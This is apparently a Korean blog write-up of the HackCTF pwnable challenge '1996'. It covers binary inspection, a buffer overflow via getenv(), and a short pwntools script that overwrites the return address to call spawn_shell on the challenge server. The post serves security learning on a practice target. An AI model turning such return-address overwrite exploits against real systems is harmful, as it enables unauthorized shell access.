tmxklab
[HackCTF/Pwnable] 1996 본문
1. 문제확인
nc ctf.j0n9hyun.xyz 3013
1) 접속
입력 값을 받고 출력해준 뒤 프로그램이 종료함
2) IDA를 통해 확인
main함수와 /bin/sh을 실행시켜주는 spawn_shell함수가 존재
2-1) IDA(Pseudocode)확인 - main()
3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인
2. 접근방법
1) getenv()확인
- getenv()에서 인자 값으로 name변수를 받게 되는데 이 때, bof수행이 가능하다.
- 참고로 getenv()는 환경변수 값을 읽어오는 함수이다.
2) 결론
- getenv()를 통해 bof를 수행하여 ret값을 spawn_shell()주소로 바꾸면 될 것 같다.
3. 풀이
1) spawn_shell() 주소 확인
spawn_shell() : 0x400897
2) 공격코드 작성
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3013)
spawn_addr = 0x400897
payload = "A"*1048
payload += p64(spawn_addr)
p.sendline(payload)
p.interactive()
3) 공격 실행
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] RTL_Core (0) | 2020.02.23 |
---|---|
[HackCTF/Pwnable] Random Key (0) | 2020.02.23 |
[HackCTF/Pwnable] Poet (0) | 2020.02.22 |
[HackCTF/Pwnable] g++ pwn (0) | 2020.02.22 |
[HackCTF/Pwnable] RTL_World (0) | 2020.02.22 |
Comments